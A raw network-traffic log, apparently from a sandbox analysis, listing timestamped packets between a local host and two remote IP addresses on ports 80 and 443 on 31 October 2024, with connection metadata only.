Oct 31, 2024 20:52:17.796875000 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796880007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796885014 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796895981 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796900988 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796907902 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.796914101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796927929 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.796927929 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.796942949 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.796962976 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.797000885 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797028065 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797034979 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797039986 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797045946 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797051907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797064066 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797070026 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.797080040 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.797112942 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.797209024 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797219038 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797230959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797238111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797243118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797254086 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797260046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797270060 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797308922 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.797308922 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.797308922 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.797355890 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797364950 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797386885 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797391891 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797403097 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.797404051 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797416925 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797429085 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797436953 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.797441006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797446966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797451973 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797456980 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.797489882 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.797513962 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.797729015 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797775984 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.797838926 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797843933 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797857046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797862053 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797867060 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797893047 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.797919989 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.797945023 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.797970057 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.798041105 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798046112 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798058033 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798063993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798069000 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798086882 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.798088074 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798094988 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798119068 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.798146963 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.798260927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798265934 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798276901 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798283100 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798288107 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798300028 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798312902 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.798346996 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.798358917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798365116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798376083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798381090 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798422098 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.798434019 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798435926 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.798439026 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798450947 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798455000 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798476934 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.798506021 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.798542023 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798547983 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798559904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798566103 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798577070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798583031 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798588991 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798598051 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.798604965 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.798639059 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.798707008 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798712015 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798723936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798729897 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798736095 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798749924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798755884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798758984 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.798762083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798794031 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.798823118 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.798829079 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798835039 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798846006 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798851967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798894882 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.798903942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798907995 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798917055 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.798949003 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.798985958 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.798990965 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799000978 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799006939 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799015999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799020052 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799031019 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.799046993 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.799066067 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.799074888 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799082041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799092054 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799098015 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799123049 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.799146891 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.799175024 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799180984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799191952 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799201965 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799226999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.799230099 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799252033 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.799280882 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.799299955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799307108 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799324036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799330950 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799340010 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.799370050 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.799421072 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799427986 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799438953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799448967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799458027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799468994 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799472094 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.799474955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799499035 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.799514055 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.799561977 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799567938 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799578905 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799585104 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799591064 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799602985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799608946 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799623013 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.799647093 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799655914 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.799705982 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799711943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799722910 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.799752951 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.799753904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799761057 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799798012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799799919 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.799803019 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799813986 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799843073 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.799858093 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.799901009 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.800228119 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.800235033 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.800246000 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.800287962 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.800299883 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.800319910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.800327063 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.800332069 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.800338030 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.800363064 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.800389051 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.800473928 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.800479889 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.800492048 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.800498009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.800503016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.800514936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.800520897 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.800525904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.800533056 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.800538063 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.800550938 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.800574064 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.800601959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.800641060 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.800671101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.800678968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.800689936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.800703049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.800710917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.800717115 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.800741911 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.845698118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.845783949 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.846570969 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.846678972 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.878089905 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.878117085 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.878123999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.878138065 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.878144979 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.878150940 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.878161907 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.878242016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.878247023 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.878259897 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.878281116 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.878281116 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.878303051 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.878309965 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.878309965 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.878317118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.878329039 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.878372908 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.878396988 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.878551960 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.878598928 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.878611088 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.878618002 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.878647089 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.878652096 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.878663063 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.878680944 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.879064083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.879111052 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.879116058 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.879143953 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.879149914 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.879163980 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.879163980 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.879169941 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.879200935 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.879214048 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.880414963 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.880443096 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.880446911 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.880495071 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.880537033 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.880543947 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.880556107 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.880589008 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.881159067 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.881212950 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.881216049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.881222010 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.881227970 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.881261110 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.881278992 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.881285906 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.881320953 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.881325960 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.881330967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.881336927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.881366014 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.881375074 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.881381035 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.881422043 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.881464958 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.881472111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.881515980 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.881541967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.881547928 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.881553888 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.881558895 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.881563902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.881601095 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.881623030 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.893234968 CET	443	49744	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:17.893309116 CET	49744	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:17.895009995 CET	49744	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:17.895018101 CET	443	49744	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:17.895220995 CET	443	49744	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:17.903033972 CET	49744	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:17.903220892 CET	49744	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:17.903248072 CET	443	49744	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:17.903301001 CET	49744	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:17.903309107 CET	443	49744	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:17.918339968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918356895 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918363094 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918397903 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918401003 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.918404102 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918415070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918421030 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918425083 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.918466091 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.918478012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918500900 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918504000 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918512106 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918520927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918536901 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.918559074 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.918586016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918601036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918606997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918612003 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918617010 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918642998 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.918673038 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.918689013 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918695927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918719053 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918725967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918731928 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918739080 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918742895 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.918771029 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918772936 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.918776989 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918782949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918801069 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918811083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918812990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.918821096 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.918857098 CET	49740	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:17.919015884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919022083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:17.919069052 CET	49740	80	192.168.2.4	185.215.113.16
